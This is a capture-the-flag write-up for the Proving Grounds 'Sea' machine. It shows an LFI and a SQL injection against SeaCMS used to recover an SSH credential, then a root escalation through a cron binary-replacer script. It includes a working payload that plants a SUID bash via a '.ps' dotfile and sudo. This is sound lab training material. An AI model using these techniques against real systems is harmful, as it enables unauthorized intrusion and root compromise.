Sea Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 4 min read
Sea runs SeaCMS behind a randomized admin slug. FTP logs leak that slug along with the vulnerable file paths, opening up two independent routes to the same SSH credential: a local file inclusion that reads the database config directly, and a SQL injection that dumps the admin table instead. From an SSH shell, a cron job that blindly swaps binaries in /bin combines with a sudo rule to plant a SUID shell as root.
Reconnaissance
Nmap
Scan all TCP ports and identify running services.
PORT STATE SERVICE VERSION 21/tcp open ftp 55743/tcp open http Apache
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sS -sV | SYN scan and probe service versions. |
The web server on port 55743 identifies itself as SeaCMS in its footer. Known vulnerabilities for this CMS include an LFI in admin_safe.php and a SQL injection in admin_pay.php, but both live behind an admin path whose slug is randomized at install time.
FTP log analysis
Check the FTP service for anything useful.
ftp> ls log_01.log log_02.log log_03.log log_04.log
Download the logs and search them; one references the actual installed paths.
/var/www/SeaCMS/th4o4p/admin_safe.php /var/www/SeaCMS/th4o4p/admin_pay.php /var/www/SeaCMS/th4o4p/database.php
The slug is th4o4p, and a database.php file sits alongside the two known-vulnerable scripts.
Exploitation
Vector 1: LFI to database credentials
admin_safe.php takes a file parameter that reads arbitrary files off the server.
root:x:0:0:root:/root:/bin/bash <snip> nicolas:x:1000:1000::/home/nicolas:/bin/bash
Read the database.php file found in the FTP logs.
nicolas:$NICOLAS_PASSWORD
SSH in with the leaked credential.
nicolas@sea:~$ whoami nicolas
Vector 2: SQL injection to the same credential
The admin_pay.php endpoint is injectable through its id parameter, matching a public SeaCMS SQLi advisory. Automate it with sqlmap.
available databases [1]: [*] seacms
Explain command
| --batch | Use sqlmap's default answers non-interactively. |
Enumerate the admin table and dump it.
username: nicolas password: <base64-encoded value>
The stored password ends in a pair of base64 padding characters, a tell that it's base64-encoded rather than hashed. Decoding it recovers the same credential found through the LFI.
nicolas:$NICOLAS_PASSWORD
Both vectors land on the same SSH login as nicolas.
Privilege Escalation
pspy and a cron-driven binary swap
Upload a process spy to watch for scheduled jobs.
CMD: /bin/bash /bin/bin_replacer
A cron job runs bin_replacer periodically. Reading it shows it scans a user's home directory for hidden dotfiles and, if a filename in /bin matches one found there, overwrites that binary with the dotfile's contents.
#!/bin/bash for f in ~/.*; do name=$(basename "$f") [ -f "/bin/$name" ] && cp "$f" "/bin/$name" done
Check what nicolas can run as root, to find a target binary worth swapping.
User nicolas may run the following commands on sea:
(ALL) NOPASSWD: /bin/ps aux
ps is runnable as root with no password, and it's also a plain binary name in /bin the replacer script would happily overwrite. Drop a dotfile named .ps in the home directory that the cron job will pick up.
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
After the cron fires, /bin/ps has been replaced with that script.
#!/bin/bash cp /bin/bash /tmp/bash chmod +s /tmp/bash
Running it through sudo executes the planted script as root, which drops a SUID copy of bash.
-rwsr-sr-x 1 root root 1168776 ... /tmp/bash
bash-5.0# whoami root
The SUID bit on the copied shell preserves root privileges when invoked with -p.
Related
References
-
CVE-2025-25520CVE: CVE-2025-25520, dailycve.com/seacms-sql-injection-cve-2025-25520-critical (opens in new tab)
SeaCMS SQL injection in admin_pay.php.